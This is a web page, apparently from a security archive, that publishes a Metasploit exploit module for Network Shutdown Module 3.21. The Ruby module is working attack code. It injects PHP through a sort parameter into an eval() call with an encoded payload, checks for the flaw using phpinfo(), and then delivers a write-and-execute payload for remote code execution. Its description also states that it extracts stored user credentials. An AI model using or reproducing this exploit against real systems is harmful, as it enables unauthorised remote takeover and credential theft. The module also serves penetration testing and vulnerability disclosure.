exploit the possibilities

Network Shutdown Module 3.21 Remote PHP Code Injection

Network Shutdown Module 3.21 Remote PHP Code Injection
Posted Nov 29, 2012
Authored by sinn3r, h0ng10 | Site metasploit.com

This Metasploit module exploits a vulnerability in lib/dbtools.inc which uses unsanitized user input inside a eval() call. Additionally the base64 encoded user credentials are extracted from the database of the application. Please note that in order to be able to steal credentials, the vulnerable service must have at least one USV module (an entry in the "nodes" table in mgedb.db).

tags | exploit
advisories | OSVDB-83199
MD5 | b9d7c9e575b61b01ae81c51b7ed1e571

Network Shutdown Module 3.21 Remote PHP Code Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in lib/dbtools.inc which uses
unsanitized user input inside a eval() call. Additionally the base64 encoded
user credentials are extracted from the database of the application. Please
note that in order to be able to steal credentials, the vulnerable service
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
},
'Author' =>
[
'h0ng10', # original discovery, msf module
'sinn3r' # PhpEXE shizzle
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '83199'],
['URL', 'http://secunia.com/advisories/49103/']
],
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000
},
'Platform' => ['php', 'linux'],
'Arch' => ARCH_PHP,

'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Jun 26 2012'
))

register_options(
[
Opt::RPORT(4679)
], self.class)
end

def check
# we use a call to phpinfo() for verification
res = execute_php_code("phpinfo();die();")

if not res or res.code != 200
print_error("Failed: Error requesting page")
return CheckCode::Unknown
end

return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
return CheckCode::Safe
end

def execute_php_code(code, opts = {})
param_name = rand_text_alpha(6)
padding = rand_text_alpha(6)
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"

res = send_request_cgi(
{
'uri' => '/view_list.php',
'method' => 'POST',
'vars_get' =>
{
'paneStatusListSortBy' => url_param,
},
'vars_post' =>
{
param_name => Rex::Text.encode_base64(code),
},
'headers' =>
{
'Connection' => 'Close',
}
})
end

def no_php_tags(p)
p = p.gsub(/^<\?php /, '')
p.gsub(/ \?\>$/, '')
end

def exploit
print_status("#{rhost}:#{rport} - Sending payload")

unlink = (target['Platform'] == 'linux') ? true : false
p = no_php_tags(get_write_exec_payload(:unlink_self => unlink))

execute_php_code(p)
handler
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close